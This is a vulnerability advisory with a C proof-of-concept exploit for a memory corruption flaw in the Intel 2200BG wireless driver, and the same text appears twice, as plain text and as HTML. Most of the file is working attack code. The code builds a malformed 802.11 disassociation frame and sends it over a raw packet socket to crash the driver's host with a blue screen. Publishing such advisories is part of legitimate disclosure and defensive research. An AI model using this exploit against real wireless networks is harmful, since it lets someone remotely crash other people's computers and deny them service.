intel-dos.txt

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Title: Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption  
  
Description: The intel wireless mini-pci driver provided with Intel  
2200BG cards is vulnerable to a remote memory corruption flaw.  
Malformed disassociation packets can be used to corrupt internal kernel  
structures, causing a denial of service (BSOD)  
  
This vulnerability was found at Intel 2200 driver version 9.0.3.9  
(09/12/2005).  
  
Driver files:  
  
w29n51.sys 9ee38ffcb4cbe5bee6c305700ddc4725  
w29mlres.dll 35afeccc4092b69f62d757c4707c74e9  
w29NCPA.dll 980f58b157baedc23026dd9302406bdd  
  
Author: Breno Silva Pinto ( Sekure.org ) / bsilva[at]sekure[dot]org)  
  
  
Proof Of Concept:  
  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/ioctl.h>  
#include <asm/types.h>  
#include <linux/if.h>  
#include <linux/if_packet.h>  
#include <linux/if_ether.h>  
#include <linux/if_arp.h>  
#include <netinet/in.h>  
#include <stdlib.h>  
#include <string.h>  
#include <stdio.h>  
  
// 28 bytes disassociation packet.  
  
char d[] = { 0xa0, 0x00, // 0xa0 pacote Disassociate 0xa000 FC Normal  
0x00, 0x00, // Duration ID  
0x00, 0x12, 0xf0, 0x29, 0x77, 0x00, // DST addr  
0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, // SRC addr  
0x00, 0x0f, 0x66, 0x11, 0x7b, 0xd0, // BSS id  
0x00, 0x00, // Frag. Number  
0x01, 0x00, 0x00, 0x00 }; // 2 bytes - Reason code  
  
int main() {  
struct sockaddr_ll link;  
struct ifreq iface;  
int s;  
char packet[sizeof(d)];  
int len = 0;  
  
if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)  
return 0;  
  
bzero(&iface,sizeof(iface));  
bzero(&link,sizeof(link));  
bzero(packet,sizeof(d));  
  
strcpy(iface.ifr_name,"ath0raw");  
  
if(ioctl(s,SIOCGIFHWADDR, &iface)) {  
return 0;  
}  
  
if(ioctl(s,SIOCGIFINDEX, &iface)) {  
return -1;  
}  
  
if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {  
return -1;  
}  
  
link.sll_family = AF_PACKET;  
link.sll_ifindex = iface.ifr_ifindex;  
  
if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {  
return -1;  
}  
  
memcpy(packet,d,sizeof(d));  
len = sendto(s,packet,sizeof(d), 0, NULL, 0);  
usleep(5000);  
printf("%d bytes enviados\n",len);  
  
close(s);  
  
return 0;  
}  
  
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<p>Title:&nbsp; Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption</p>  
<p>Description:&nbsp; The intel wireless mini-pci driver provided with Intel<br>2200BG cards is vulnerable to a remote&nbsp; memory corruption flaw.<br>Malformed disassociation packets can be used to corrupt internal kernel<br>structures, causing a denial of service (BSOD)  
</p>  
<p>This vulnerability was found at Intel 2200 driver version 9.0.3.9(09/12/2005).</p>  
<p>Driver files:</p>  
<p>w29n51.sys&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 9ee38ffcb4cbe5bee6c305700ddc4725<br>w29mlres.dll&nbsp;&nbsp;&nbsp; 35afeccc4092b69f62d757c4707c74e9<br>w29NCPA.dll&nbsp;&nbsp;&nbsp;&nbsp; 980f58b157baedc23026dd9302406bdd</p>  
<p>Author: Breno Silva Pinto ( <a href="http://Sekure.org">Sekure.org</a> ) / bsilva[at]sekure[dot]org)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>  
<p>Proof Of Concept:</p>  
<p>#include <unistd.h><br>#include <sys/types.h><br>#include <sys/socket.h><br>#include <sys/ioctl.h><br>#include <asm/types.h><br>#include <linux/if.h><br>#include <linux/if_packet.h>  
<br>#include <linux/if_ether.h><br>#include <linux/if_arp.h><br>#include <netinet/in.h><br>#include <stdlib.h><br>#include <string.h><br>#include <stdio.h></p>  
<p>// 28 bytes disassociation packet.</p>  
<p>char d[] = { 0xa0, 0x00,&nbsp;&nbsp;&nbsp; // 0xa0 pacote Disassociate&nbsp; 0xa000 FC Normal<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00, 0x00, // Duration ID<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00, 0x12, 0xf0, 0x29, 0x77, 0x00, // DST addr<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, // SRC addr  
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00, 0x0f, 0x66, 0x11, 0x7b, 0xd0, // BSS id<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00, 0x00, // Frag. Number<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x01, 0x00, 0x00, 0x00 }; // 2 bytes - Reason code</p>  
<p>int main() {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct sockaddr_ll link;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct ifreq iface;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int s;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char packet[sizeof(d)];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int len = 0;</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(&iface,sizeof(iface));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(&link,sizeof(link));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(packet,sizeof(d));</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(iface.ifr_name,"ath0raw");</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(ioctl(s,SIOCGIFHWADDR, &iface)) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(ioctl(s,SIOCGIFINDEX, &iface)) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; link.sll_family = AF_PACKET;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; link.sll_ifindex = iface.ifr_ifindex;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(packet,d,sizeof(d));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len = sendto(s,packet,sizeof(d), 0, NULL, 0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usleep(5000); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%d bytes enviados\n",len);</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; close(s);</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>}</p>  
<p>&nbsp;</p>  
  
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